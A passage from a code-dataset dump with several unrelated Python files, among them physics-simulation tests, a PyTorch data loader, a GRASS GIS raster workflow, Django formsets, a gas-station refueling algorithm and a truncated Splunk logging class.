ships have stable altitude in the long term.\"\"\"\n with PhysicsEngine('landed.json') as physics_engine:\n initial = physics_engine.get_state(10)\n physics_engine.set_time_acceleration(1_000_000, requested_t=10)\n final = state.PhysicsState(\n None, physics_engine.get_state(1_000_000))\n self.assertAlmostEqual(\n np.linalg.norm(initial['Earth'].pos - initial['Habitat'].pos),\n initial['Earth'].r + initial['Habitat'].r,\n delta=1)\n self.assertAlmostEqual(\n np.linalg.norm(final['Earth'].pos - final['Habitat'].pos),\n final['Earth'].r + final['Habitat'].r,\n delta=1)\n\n\nclass EntityTestCase(unittest.TestCase):\n \"\"\"Tests that state.Entity properly proxies underlying proto.\"\"\"\n\n def test_fields(self):\n def test_field(pe: state.Entity, field: str, val):\n pe.proto.Clear()\n setattr(pe, field, val)\n self.assertEqual(getattr(pe.proto, field), val)\n\n pe = state.Entity(protos.Entity())\n test_field(pe, 'name', 'test')\n test_field(pe, 'x', 5)\n test_field(pe, 'y', 5)\n test_field(pe, 'vx', 5)\n test_field(pe, 'vy', 5)\n test_field(pe, 'r', 5)\n test_field(pe, 'mass', 5)\n test_field(pe, 'heading', 5)\n test_field(pe, 'spin', 5)\n test_field(pe, 'fuel', 5)\n test_field(pe, 'throttle', 5)\n test_field(pe, 'attached_to', 'other_test')\n test_field(pe, 'broken', True)\n test_field(pe, 'artificial', True)\n\n\nclass PhysicsStateTestCase(unittest.TestCase):\n \"\"\"Tests state.PhysicsState accessors and setters.\"\"\"\n\n physical_state = protos.PhysicalState(\n timestamp=5,\n entities=[\n protos.Entity(\n name='First', mass=100, r=200,\n x=10, y=20, vx=30, vy=40, heading=1, spin=50, fuel=60,\n throttle=70),\n protos.Entity(\n name='Second', mass=101, r=201, artificial=True,\n x=11, y=21, vx=31, vy=41, heading=2, spin=51, fuel=61,\n throttle=71, attached_to='First', broken=True)\n ]\n )\n\n def test_attatched_to(self):\n \"\"\"Test that the special .attached_to field is properly set.\"\"\"\n ps = state.PhysicsState(None, self.physical_state)\n self.assertEqual(ps['First'].attached_to, '')\n self.assertEqual(ps['Second'].attached_to, 'First')\n self.assertEqual(ps.AttachedTo, {1: 0})\n\n def test_y_vector_init(self):\n \"\"\"Test that initializing with a y-vector uses y-vector values.\"\"\"\n y0 = np.array([\n 10, 20, # x\n 30, 40, # y\n 50, 60, # vx\n 0, 0, # vy\n 0, 0, # heading\n 70, 80, # spin\n 90, 100, # fuel\n 0, 0, # throttle\n 1, -1, # only First is attached to Second\n 0, 1 # Second is broken\n ])\n\n ps = state.PhysicsState(y0, self.physical_state)\n self.assertTrue(np.array_equal(ps.y0(), y0.astype(ps.y0().dtype)))\n self.assertEqual(ps['First'].attached_to, 'Second')\n\n proto_state = ps.as_proto()\n proto_state.timestamp = 50\n self.assertEqual(proto_state.timestamp, 50)\n self.assertEqual(proto_state.entities[0].fuel, 90)\n self.assertTrue(proto_state.entities[1].broken)\n\n def test_get_set(self):\n \"\"\"Test __getitem__ and __setitem__.\"\"\"\n ps = state.PhysicsState(None, self.physical_state)\n entity = ps[0]\n entity.attached_to = 'Second'\n ps[0] = entity\n self.assertEqual(ps[0].attached_to, 'Second')\n\n\nclass CalculationsTestCase(unittest.TestCase):\n \"\"\"The file tests/gui-test.json encodes the position of the Earth and the\n ISS, with all possitions offset by a billion metres along the x and y axes.\n https://www.wolframalpha.com/input/?i=International+Space+Station\n describes the orbital parameters of the ISS, all numbers in this test are\n taken from that page.\"\"\"\n\n def setUp(self):\n if '-v' in sys.argv:\n common.enable_verbose_logging()\n\n def test_elliptical_orbital_parameters(self):\n # Again, see\n # https://www.wolframalpha.com/input/?i=International+Space+Station\n # For these expected values\n physics_state = common.load_savefile(common.savefile(\n 'tests/gui-test.json'))\n iss = physics_state[0]\n earth = physics_state[1]\n\n # The semiaxes are relatively close to expected.\n self.assertAlmostEqual(\n calc.semimajor_axis(iss, earth), 6785e3, delta=0.01 * earth.r)\n\n # The eccentricity is within 1e-6 of the expected.\n self.assertAlmostEqual(\n np.linalg.norm(calc.eccentricity(iss, earth)),\n 5.893e-4, delta=1e-3)\n\n # The apoapsis is relatively close to expected.\n self.assertAlmostEqual(\n calc.apoapsis(iss, earth), 418.3e3, delta=0.01 * earth.r)\n\n # The periapsis is relatively close to expected.\n self.assertAlmostEqual(\n calc.periapsis(iss, earth), 410.3e3, delta=0.01 * earth.r)\n\n def test_hyperbolic_orbital_parameters(self):\n # Unlike the elliptical test, this tests our favourite extra-solar\n # visitor to make sure we can calculate Keplerian orbital\n # characteristics from its orbital state vectors! That's right, we're\n # talking about Sedna! The expected values are arrived at through\n # calculation, and also\n # http://orbitsimulator.com/formulas/OrbitalElements.html\n physics_state = common.load_savefile(common.savefile(\n 'tests/sedna.json'))\n sun = physics_state[0]\n oumuamua = physics_state[1]\n\n expected_semimajor_axis = -71231070.14146987\n self.assertAlmostEqual(\n calc.semimajor_axis(oumuamua, sun), expected_semimajor_axis,\n delta=abs(0.01 * expected_semimajor_axis))\n\n expected_eccentricity = 1644.477\n self.assertAlmostEqual(\n np.linalg.norm(calc.eccentricity(oumuamua, sun)),\n expected_eccentricity, delta=0.01 * expected_eccentricity)\n\n expected_periapsis = 1.1714e11 # Through calculation\n self.assertAlmostEqual(\n calc.periapsis(sun, oumuamua) + oumuamua.r, expected_periapsis,\n delta=0.01 * 78989185420.15271)\n\n def test_speeds(self):\n physics_state = common.load_savefile(common.savefile(\n 'tests/gui-test.json'))\n iss = physics_state[0]\n earth = physics_state[1]\n\n self.assertAlmostEqual(calc.h_speed(iss, earth), 7665, delta=10)\n self.assertAlmostEqual(calc.v_speed(iss, earth), -0.1, delta=10)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":16717,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"476919146","text":"from torch.utils.data import Dataset\r\nimport pickle as pkl\r\nimport numpy as np\r\nimport torch\r\nfrom os import path\r\n\r\n\r\n# this method stores the position of start of each line in each file. SO\r\n# next time we can go directly to our desired line\r\ndef precompute_tell(files, save_path):\r\n p = []\r\n for file in files:\r\n f = open(file, 'r')\r\n pos = []\r\n while f.readline():\r\n pos.append(f.tell())\r\n f.close()\r\n p.append(pos[:-1])\r\n with open(save_path, 'wb') as f:\r\n pkl.dump(p, f)\r\n return p\r\n\r\n\r\nclass csvDataset(Dataset):\r\n def __init__(self, csv_files, pkl_pos=None):\r\n if pkl_pos is None:\r\n self.pos = precompute_tell(csv_files, \"saved_pos.pkl\")\r\n else:\r\n with open(pkl_pos, 'rb') as f:\r\n self.pos = pkl.load(f)\r\n self.fs = [open(csv_file, 'r') for csv_file in csv_files]\r\n\r\n def __del__(self):\r\n [f.close() for f in self.fs]\r\n\r\n def __len__(self):\r\n return len(self.pos[0])\r\n\r\n def __getitem__(self, idx):\r\n outs = []\r\n for i, f in enumerate(self.fs):\r\n f.seek(self.pos[i][idx])\r\n line = f.readline()\r\n outs.append(torch.from_numpy(np.fromstring(line[line.index(',') + 1:-1], sep=',')).float())\r\n return outs\r\n\r\n\r\nclass csvDataset_mem(Dataset):\r\n def __init__(self, csv_files, npz_path):\r\n\r\n # create the binary file if does not already exists. Should be run only for the first time the code is run.\r\n if not path.exists(npz_path):\r\n cpg, gene = csv_files\r\n self.cpg = np.empty((873, 395505))\r\n self.gene = np.empty((873, 13982))\r\n print('i am in making data')\r\n with open(cpg, 'r') as f, open(gene, 'r') as g:\r\n f.readline()\r\n g.readline()\r\n for i, (line1, line2) in enumerate(zip(f, g)):\r\n # the file is patient_cpg.csv, patient_gene.cpg file. so here we are doing saving gene expression of same\r\n # patient and at the same index of cpg, we are getting the cpg of the same patient.\r\n # my question do we match the patient indexes in patient_cpg.csv and patient_gene.csv\r\n # ans: i checked they are same.\r\n #self.cpg[i] = np.fromstring(line1[line1.index(',') + 1:-1], sep=',')\r\n self.cpg[i] = np.fromstring(line1, sep=',') # so it should be (#patient,#cpg)\r\n # self.gene[i] = np.fromstring(line2[line2.index(',')+1:-1], sep=',') # so it should be (#patient, #gene)\r\n self.gene[i] = np.fromstring(line2, sep=',')\r\n self.cpg = (self.cpg - self.cpg.mean(axis=0)) / self.cpg.std(axis=0)\r\n np.savez(npz_path, cpg=self.cpg, gene=self.gene)\r\n else:\r\n data = np.load(npz_path)\r\n self.cpg = data['cpg']\r\n # self.gene = (data['gene'] - data['gene'].mean(axis = 0))/ data['gene'].std(axis = 0)\r\n self.gene = data['gene']\r\n\r\n self.cpg = torch.from_numpy(self.cpg).float()\r\n\r\n self.gene = torch.from_numpy(self.gene).float()\r\n\r\n def __len__(self):\r\n return 873\r\n\r\n def __getitem__(self, idx):\r\n # here we are deliverign cpg and gene expression of same patient.\r\n return [self.cpg[idx], self.gene[idx]]\r\n # return [(self.cpg[idx] - self.cpg[idx].mean(axis= 0))/self.cpg[idx].std(axis= 0), self.gene[idx]]\r\n\r\n\r\n\r\n\r\n","sub_path":"course/Project/transomic/code_base/cgp_gene/dataLoader2.py","file_name":"dataLoader2.py","file_ext":"py","file_size_in_byte":3496,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"125076603","text":"import grass.script as gs\r\n\r\ndef main():\r\n\r\n data_dir = 'D:/Projekte_Julian/GIS/fossgis_ws19_assignment4/assignment4_data/'\r\n\r\n # set region \r\n gs.run_command('g.region', vector='tarragona_region@PERMANENT')\r\n # set resolution to 1km\r\n gs.run_command('g.region', res=1000)\r\n\r\n # reclassify corine landcover\r\n # import landcover data\r\n gs.run_command('r.import', input=data_dir+'corine_landcover_2018/CLC2018_tarragona.tif', output='corine_landcover', overwrite=True)\r\n # reclass landcover values\r\n gs.run_command('r.reclass', input='corine_landcover', output='corine_landcover_reclassified', rules=data_dir+'reclass/corine.txt', overwrite=True)\r\n # resample for permanent reclass\r\n gs.run_command('r.resample', input='corine_landcover_reclassified', output='corine_landcover_reclassified', overwrite=True)\r\n\r\n # calculate and reclassify the slope\r\n # import dems\r\n gs.run_command('r.import', title='DEM_N41E000', input=data_dir+'/dem/N41E000.SRTMGL1.hgt.zip', output='dem_N41E000', overwrite=True)\r\n gs.run_command('r.import', title='DEM_N40E000', input=data_dir+'/dem/N40E000.SRTMGL1.hgt.zip', output='dem_N40E000', overwrite=True)\r\n gs.run_command('r.import', title='DEM_N41E001', input=data_dir+'/dem/N41E001.SRTMGL1.hgt.zip', output='dem_N41E001', overwrite=True)\r\n # first create dem mosaic\r\n gs.run_command('i.image.mosaic', input= ['dem_N41E000', 'dem_N40E000', 'dem_N41E001'], output='dem_mosaic', overwrite=True)\r\n # calculating the slope\r\n gs.run_command('r.slope.aspect', elevation='dem_mosaic', slope='dem_slope', format='degrees', precision='FCELL', overwrite=True)\r\n # reclassifying the slope\r\n gs.run_command('r.reclass', input='dem_slope', output='slope_reclassified', rules=data_dir+'reclass/slope.txt', overwrite=True)\r\n # resample for permanent reclass\r\n gs.run_command('r.resample', input='slope_reclassified', output='slope_reclassified', overwrite=True)\r\n\r\n # calculate the exposure, probability for ignition of fire and distance to fire stations\r\n # import osm\r\n gs.run_command('v.import', input=data_dir+'/osm/fire_stations.geojson', output='firestations', overwrite=True)\r\n gs.run_command('v.import', input=data_dir+'/osm/buildings.geojson', output='buildings', overwrite=True)\r\n # and fire data\r\n gs.run_command('v.import', input=data_dir+'/fire_incidents/fire_archive_V1_89293.shp', output='fires', overwrite=True) \r\n # make new grid maps for each calculations \r\n gs.run_command('v.mkgrid', map='fire_map', position='region', box='1000,1000', overwrite=True)\r\n gs.run_command('v.mkgrid', map='exposure_map', position='region', box='1000,1000', overwrite=True)\r\n gs.run_command('v.mkgrid', map='firestations_map', position='region', box='1000,1000', overwrite=True)\r\n # get point occurences in grid via vector stats \r\n gs.run_command('v.vect.stats', points='fires', count_column='fires_cnt', areas='fire_map')\r\n gs.run_command('v.vect.stats', points='buildings', type='centroid', count_column='buildings_cnt', areas='exposure_map')\r\n gs.run_command('v.vect.stats', points='firestations', type='point,centroid', count_column='firestations_cnt', areas='firestations_map')\r\n # rasterize the results for raster calc\r\n gs.run_command('v.to.rast', input='fire_map', output='fire_rast', attribute_column='fires_cnt', use='attr', overwrite=True)\r\n gs.run_command('v.to.rast', input='exposure_map', output='exposuremap_rast', attribute_column='buildings_cnt', use='attr', type='area', overwrite=True)\r\n gs.run_command('v.to.rast', input='firestations_map', output='firestations_rast' ,attribute_column='firestations_cnt',use='attr', overwrite=True)\r\n # calculate fire probability \r\n gs.run_command('r.mapcalc', expression='fire_prob = if (fire_rast> 15, 15, fire_rast * 100 / 15)', overwrite=True)\r\n # set setting all empty fire station grids null and calculate distance \r\n gs.run_command('r.null', setnull='0', map='firestations_rast')\r\n gs.run_command('r.grow.distance', input='firestations_rast', distance='firestations_dist', overwrite=True)\r\n # reclass the results\r\n gs.run_command('r.reclass', input='fire_prob', output='fire_prob_class', rules=data_dir+'reclass/prob_fire.txt', overwrite=True)\r\n gs.run_command('r.reclass', input='exposuremap_rast', output='exposuremap_class', rules=data_dir+'osm_building.txt', overwrite=True)\r\n gs.run_command('r.reclass', input='firestations_dist', output='firestations_dist_reclassified', rules=data_dir+'/fire_stat_distance.txt', overwrite=True)\r\n # resample to make classification results permanent\r\n gs.run_command('r.resample', input='fire_prob_class', output='fire_prob_class', overwrite=True)\r\n gs.run_command('r.resample', input='exposure_class', output='exposuremap_reclassified', overwrite=True)\r\n gs.run_command('r.resample', input='firestations_dist_reclassified', output='firestations_dist_reclassified', overwrite=True)\r\n\r\nif __name__ == '__main__':\r\n main()","sub_path":"assgmnt_4_preprocess.py","file_name":"assgmnt_4_preprocess.py","file_ext":"py","file_size_in_byte":5012,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"209581787","text":"import os\nimport datetime\nimport random\nimport time\n\nimport pytz\n\n\nclass EnvTest:\n def __init__(self):\n self.base = ''\n self.path_base = os.path.join(os.path.join(os.path.realpath('../..'), 'bases\\\\py'), 'TANCA.xml')\n self.path_to = 'D:/workspace-git/e-Forms NFC-e Java/eforms-nfce-concentrator/run/agent/in'\n self.store_name = 'GLJ2'\n\n self.cUF = '23'\n self.UF = 'CE'\n self.cMunFG = '2304400'\n\n self.CNPJ = '08723218000186'\n self.IE = '562377111111'\n\n self.cDV = '0'\n self.serie = '666'\n self.tpEmis = '1'\n self.fuso = '-02'\n\n def load_base(self):\n file = open(self.path_base, \"r\")\n self.base = file.read()\n\n def replace_base(self, nNF=0, cUF='', UF='', cNF=0, serie='', dhEmi='', cMunFG='', tpEmis='', cDV='', CNPJ='',\n IE=''):\n base_to_replace = self.base.replace('${cDV}', cDV) \\\n .replace('${cUF}', cUF) \\\n .replace('${UF}', UF) \\\n .replace('${cNF}', str(cNF)) \\\n .replace('${nNF}', str(nNF)) \\\n .replace('${serie}', serie) \\\n .replace('${dhEmi}', dhEmi) \\\n .replace('${cMunFG}', cMunFG) \\\n .replace('${tpEmis}', tpEmis) \\\n .replace('${CNPJ}', CNPJ) \\\n .replace('${IE}', IE)\n return base_to_replace\n\n def generate(self, agents=1, count=1, number_ini=1, sleep=0):\n number = number_ini - 1\n tz = pytz.timezone('Etc/GMT%+d' % -int(self.fuso))\n date = pytz.utc.localize(datetime.datetime.utcnow()).astimezone(tz)\n str_date = date.strftime(\"%Y-%m-%dT%H:%M:%S\") + self.fuso + \":00\"\n for i in range(0, agents):\n agent_name = self.store_name + str(i).zfill(2)\n for j in range(0, count):\n number = number + 1\n print(\"Gerado a env #\" + str(number) + \" para o agent \" + agent_name +\": \"+self.path_to)\n file_name = agent_name + '#' + str(number) + '_ped_env.xml'\n file = open(os.path.join(self.path_to, file_name), 'w')\n file.write(self.replace_base(cUF=self.cUF, UF=self.UF, cNF=random.randint(10000000, 100000000),\n serie=self.serie, nNF=number,\n dhEmi=str_date, cMunFG=self.cMunFG, tpEmis=self.tpEmis, cDV=self.cDV,\n CNPJ=self.CNPJ,\n IE=self.IE))\n file.close()\n time.sleep(sleep)\n\nenv = EnvTest()\nenv.load_base()\nenv.generate(agents=10, count=3, number_ini=1205, sleep=2)\n","sub_path":"sample/tests/env.py","file_name":"env.py","file_ext":"py","file_size_in_byte":2667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"458166584","text":"import os\n\ncorpus_1 = '../data/local/lm_libri_ots_asr001_asr003/corpus_libri_asr001.txt'\ncorpus_2 = '../data/local/lm_libri_ots_asr001_asr003/corpus_asr003.txt'\n\ncorpus = set()\n\nfid = open(corpus_1)\nall_lines = fid.readlines()\nfid.close()\nfor ln in all_lines:\n corpus.add(ln)\n\nfid = open(corpus_2)\nall_lines = fid.readlines()\nfid.close()\n\nfor ln in all_lines:\n corpus.add(ln)\n\nfid = open('../data/local/lm_libri_ots_asr001_asr003/corpus_libri_asr001_asr003.txt','w')\nfor ln in sorted(corpus):\n fid.write(ln)\nfid.close()\n\n","sub_path":"egs/ots_use_libri_asr001_003/s5/local/merge_corpus.py","file_name":"merge_corpus.py","file_ext":"py","file_size_in_byte":530,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"170628494","text":"\n#\n# Copyright 2016 RIFT.IO Inc\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nimport tornado.web\n\nfrom . import message\n\n\nclass StateHandler(tornado.web.RequestHandler):\n def options(self, *args, **kargs):\n pass\n\n def set_default_headers(self):\n self.set_header('Access-Control-Allow-Origin', '*')\n self.set_header('Access-Control-Allow-Headers',\n 'Content-Type, Cache-Control, Accept, X-Requested-With, Authorization')\n self.set_header('Access-Control-Allow-Methods', 'POST, GET, PUT, DELETE')\n\n def initialize(self, log, loop):\n self.log = log\n self.loop = loop\n\n def success(self, messages):\n success = self.__class__.SUCCESS\n return any(isinstance(msg, success) for msg in messages)\n\n def failure(self, messages):\n failure = self.__class__.FAILURE\n return any(isinstance(msg, failure) for msg in messages)\n\n def started(self, messages):\n started = self.__class__.STARTED\n return any(isinstance(msg, started) for msg in messages)\n\n def status(self, messages):\n if self.failure(messages):\n return \"failure\"\n elif self.success(messages):\n return \"success\"\n return \"pending\"\n\n def notifications(self, messages):\n notifications = {\n \"errors\": list(),\n \"events\": list(),\n \"warnings\": list(),\n }\n\n for msg in messages:\n if isinstance(msg, message.StatusMessage):\n notifications[\"events\"].append({\n 'value': msg.name,\n 'text': msg.text,\n 'timestamp': msg.timestamp,\n })\n continue\n\n elif isinstance(msg, message.WarningMessage):\n notifications[\"warnings\"].append({\n 'value': msg.text,\n 'timestamp': msg.timestamp,\n })\n continue\n\n elif isinstance(msg, message.ErrorMessage):\n notifications[\"errors\"].append({\n 'value': msg.text,\n 'timestamp': msg.timestamp,\n })\n continue\n\n elif isinstance(msg, message.FilenameMessage):\n notifications[\"filename\"] = msg.text\n continue\n\n self.log.warning('unrecognized message: {}'.format(msg))\n\n return notifications\n\n def get(self, transaction_id):\n if transaction_id not in self.application.messages:\n raise tornado.web.HTTPError(404, \"unrecognized transaction ID\")\n\n messages = self.application.messages[transaction_id]\n messages.sort(key=lambda m: m.timestamp)\n\n if not self.started(messages):\n raise tornado.web.HTTPError(404, \"unrecognized transaction ID\")\n\n notifications = self.notifications(messages)\n notifications[\"status\"] = self.status(messages)\n\n self.write(tornado.escape.json_encode(notifications))\n","sub_path":"osm/SO/rwlaunchpad/plugins/rwlaunchpadtasklet/rift/tasklets/rwlaunchpad/state.py","file_name":"state.py","file_ext":"py","file_size_in_byte":3560,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"57988642","text":"import json\nimport numpy as np\nimport pickle\n\n\ndef read_from_txt_files(image_paths):\n big_list = []\n pickle_off = open(image_paths, 'rb')\n pickled_file = pickle.load(pickle_off, encoding=\"bytes\")\n\n for data in pickled_file:\n path = data.split('.')[1]\n char_name, image_name = path.split('/')\n\n with open('text/' + char_name + '/' + image_name + '.txt', 'r') as f:\n text = f.read()\n text = text.split('\\n')\n clean_text = [line[:-1] if line.endswith('.') else line for line in text if line != '']\n big_list.extend(clean_text)\n return big_list\n\n\ndef read_from_json(file_title):\n \"\"\"Reading from a json file.\"\"\"\n with open(file_title) as json_file:\n description = json.load(json_file)\n return description\n\n\ndef get_sentences(data):\n for sentence in data:\n yield sentence\n\n\ndef change_words_to_numbers(data, data_captions):\n new_data = []\n for sentence in get_sentences(data):\n new_list = []\n for word in sentence.split(' '):\n for key, value in data_captions.items():\n if word == value:\n new_list.append(int(key))\n new_data.append(new_list)\n return new_data\n\n\nif __name__ == '__main__':\n file_name = 'filenames_test.pickle'\n captions_file_name = 'unique_dict.json'\n\n processed_description = read_from_txt_files(file_name)\n captions = read_from_json(captions_file_name)\n\n full_captions = {}\n for x in captions:\n full_captions.update(x)\n\n output_data = change_words_to_numbers(processed_description, full_captions)\n np.save('test_captions', output_data)\n","sub_path":"text preprocessing/sentence_to_numbers.py","file_name":"sentence_to_numbers.py","file_ext":"py","file_size_in_byte":1659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"609331547","text":"from django.forms import inlineformset_factory\nfrom apps.liquidation.models import OperatingRecord, LunchBuy, ActionBonus, TMProductivity\nfrom apps.planning.models import Appoint\n\nRecordOperacionFormSet = inlineformset_factory(\n Appoint, OperatingRecord, extra=1, can_delete=True,\n fields=(\n 'nombrada', 'anuncio', 'area', 'trabajador',\n 'fecha', 'hora', 'manual'))\nLunchBuyFormSet = inlineformset_factory(\n Appoint, LunchBuy, extra=1, can_delete=True,\n fields=(\n 'nombrada', 'trabajador', 'turno'))\n\nActionBonusFormSet = inlineformset_factory(\n Appoint, ActionBonus, extra=1, can_delete=True,\n fields=(\n 'nombrada', 'trabajador', 'turno', 'valor'))\n\nTMProductivityFormSet = inlineformset_factory(\n Appoint, TMProductivity, extra=1, can_delete=True,\n fields=(\n 'nombrada', 'trabajador', 'tipo_carga', 'turno',\n 'pescado','harina'))","sub_path":"apps/planning/formset.py","file_name":"formset.py","file_ext":"py","file_size_in_byte":1009,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"168550140","text":"# Time: O(nlogn)\n# Space: O(n)\n\n# A car travels from a starting position to a destination\n# which is target miles east of the starting position.\n#\n# Along the way, there are gas stations.\n# Each station[i] represents a gas station that is station[i][0] miles\n# east of the starting position, and has station[i][1] liters of gas.\n#\n# The car starts with an infinite tank of gas, which initially has startFuel\n# liters of fuel in it. It uses 1 liter of gas per 1 mile that it drives.\n#\n# When the car reaches a gas station, it may stop and refuel,\n# transferring all the gas from the station into the car.\n#\n# What is the least number of refueling stops the car must make\n# in order to reach its destination? If it cannot reach the destination, return -1.\n#\n# Note that if the car reaches a gas station with 0 fuel left,\n# the car can still refuel there.\n# If the car reaches the destination with 0 fuel left,\n# it is still considered to have arrived. \n#\n# Example 1:\n#\n# Input: target = 1, startFuel = 1, stations = []\n# Output: 0\n# Explanation: We can reach the target without refueling.\n# Example 2:\n#\n# Input: target = 100, startFuel = 1, stations = [[10,100]]\n# Output: -1\n# Explanation: We can't reach the target (or even the first gas station).\n# Example 3:\n#\n# Input: target = 100, startFuel = 10, stations = [[10,60],[20,30],[30,30],[60,40]]\n# Output: 2\n# Explanation: \n# We start with 10 liters of fuel.\n# We drive to position 10, expending 10 liters of fuel. We refuel from 0 liters to 60 liters of gas.\n# Then, we drive from position 10 to position 60 (expending 50 liters of fuel),\n# and refuel from 10 liters to 50 liters of gas. We then drive to and reach the target.\n# We made 2 refueling stops along the way, so we return 2.\n#\n# Note:\n# - 1 <= target, startFuel, stations[i][1] <= 10^9\n# - 0 <= stations.length <= 500\n# - 0 < stations[0][0] < stations[1][0] < ... < stations[stations.length-1][0] < target\n\nimport heapq\n\n\nclass Solution(object):\n\n # heap\n # Intuition\n # When driving past a gas station, remember the amount of fuel it contained by pushing to max_heap. We don't need to\n # decide yet whether to fuel up here or not - for example, there could be a bigger gas station up ahead that we would rather refuel at.\n #\n # When we run out of fuel before reaching the next station, we retroactively fuel up: greedily choosing the largest gas stations first.\n # This is guaranteed to succeed because we drive the largest distance possible before each refueling stop,\n # and therefore have the largest choice of gas stations to (retroactively) stop at.\n #\n # Algorithm\n # A max-heap of the capacity of each gas station we've driven by. We'll also keep track of startFuel (actually tank).\n # When we reach a station but have negative fuel (ie. we needed to have refueled at some point in the past), we will\n # add the capacity of the largest gas stations we've driven by until the fuel is non-negative.\n #\n # If at any point this process fails (that is, no more gas stations), then the task is impossible.\n def minRefuelStops(self, target, startFuel, stations):\n \"\"\"\n :type target: int\n :type startFuel: int\n :type stations: List[List[int]]\n :rtype: int\n \"\"\"\n max_heap = [] # A maxheap is simulated using negative values\n stations.append((target, float(\"inf\")))\n\n result = prev = 0\n for location, capacity in stations:\n startFuel -= location - prev\n while max_heap and startFuel < 0: # must refuel in past\n startFuel += -heapq.heappop(max_heap)\n result += 1\n if startFuel < 0:\n return -1\n heapq.heappush(max_heap, -capacity)\n prev = location\n\n return result\n\n # DP: Time O(n^2), Space O(n)\n #\n # Assume dp[i] is the farthest location we can get to using i refueling stops. This is motivated\n # by the fact we want the smallest i for which dp[i] >= target.\n #\n # Update dp as we consider each station in order. When adding station[i] = (location, capacity),\n # any time we can reach this location w/ t refueling stops, we can now reach a place with 'capacity' further w/ t+1 refueling stops.\n def minRefuelStops_dp(self, target, startFuel, stations):\n dp = [startFuel] + [0] * len(stations)\n for i, (location, capacity) in enumerate(stations):\n for t in xrange(i, -1, -1):\n if dp[t] >= location:\n dp[t+1] = max(dp[t+1], dp[t] + capacity)\n\n for i, d in enumerate(dp):\n if d >= target: return i\n return -1","sub_path":"Python/minimum-number-of-refueling-stops.py","file_name":"minimum-number-of-refueling-stops.py","file_ext":"py","file_size_in_byte":4658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"168537066","text":"import datetime\nimport json\nimport logging\nfrom threading import Thread\n\nimport requests\nfrom django.conf import settings\nfrom django.core.serializers.json import DjangoJSONEncoder\n\nfrom .utils import _get_request\n\nLOGGER = logging.getLogger(__name__)\n\n\nclass SplunkEvent:\n\n def __init__(self, *args, **kwargs):\n if not settings.SPLUNK_LOGS:\n return\n self._key = kwargs.pop('key', \"Generic\")\n self._timestamp = str(datetime.utcnow())\n self._request = kwargs.pop('request', _get_request())\n self._user = kwargs.pop('user', None)\n self._name = kwargs.pop('name', None)\n self._obj = kwargs.pop('obj', None)\n\n if self._request:\n try:\n self._auth = self._request.user.is_authenticated()\n self._user = self._request.session.get('user_id', None)\n except:\n self._auth = False\n\n if self.package_obj(self._obj):\n if settings.SPLUNK_THREAD_EVENTS:\n Thread(target=self.send_to_splunk).start()\n else:\n self.send_to_splunk()\n\n def package_obj(self, obj):\n \"\"\"\n Shortcut method if an object is passed to the init method.\n\n Generally used for objects that have a to_json() method.\n\n If list of objects, handle it in self.format()\n \"\"\"\n if not obj:\n return False\n\n if isinstance(obj, list):\n return True\n\n if 'to_json' in dir(obj):\n for k, v in obj.to_json().items():\n setattr(self, k, v)\n\n elif issubclass(obj, dict):\n for key, value in obj.items():\n setattr(self, key, value)\n else:\n for oa in [x for x in obj.__dict__ if not x.startswith('_')]:\n setattr(self, oa, getattr(obj, oa))\n\n return True\n\n def send_to_splunk(self):\n url = f'{settings.SPLUNK_URL}:{settings.SPLUNK_EC_PORT}/services/collector/event'\n headers = {'Authorization': f'Splunk {settings.SPLUNK_TOKEN}'}\n data = json.dumps(self.format(), cls=DjangoJSONEncoder)\n\n r = requests.post(url, headers=headers, data=data, verify=False)\n\n if r.status_code >= 300:\n LOGGER.debug(f'SplunkEvent: error sending splunk event to http collector: {r.text}')\n\n def format_request(self):\n \"\"\" Format the request to JSON. \"\"\"\n if not self._request:\n return {}\n else:\n data = {\n 'path': self._request.get_full_path(),\n 'host': self._request.get_host(),\n 'GET': self._request.GET,\n 'method': self._request.method,\n 'META': {\n # 'HTTP_HOST': self._request.META.get('HTTP_HOST', None),\n # 'HTTP_REFERER': self._request.META.get('HTTP_REFERER', None),\n # 'HTTP_USER_AGENT': self._request.META.get('HTTP_USER_AGENT', None),\n # 'HTTP_X_FORWARDED_FOR': self._request.META.get('HTTP_X_FORWARDED_FOR', None),\n # 'CLIENT': 'OTHER',\n },\n }\n\n for k,v in self._request.META.items():\n if type(v) == int or type(v) == str:\n data['META'][k] = v\n\n if 'is_ios' and 'is_android' in self._request.__dict__:\n if self._request.is_ios:\n data['META']['CLIENT'] = 'ios'\n elif self._request.is_android:\n data['META']['CLIENT'] = 'android'\n else:\n data['META']['CLIENT'] = 'android'\n\n if hasattr(settings, \"VERSION\"):\n data['version'] = settings.VERSION\n try:\n if self._request.method == \"DELETE\":\n data['DELETE'] = self._request.DELETE\n elif self._request.method == \"PUT\":\n data['PUT'] = self._request.PUT\n elif self._request.method == \"POST\":\n data['POST'] = self._request.POST\n except Exception as e:\n LOGGER.debug(f'SplunkEvent: {e}')\n return data\n\n def format(self):\n \"\"\"\n Format the SplunkEvent to JSON.\n\n subclass(o, dict): checking subclass helps with cases like defaultdict and OrderedDict\n \"\"\"\n if isinstance(self._obj, list):\n list_obj = []\n for o in self._obj:\n item = {}\n if 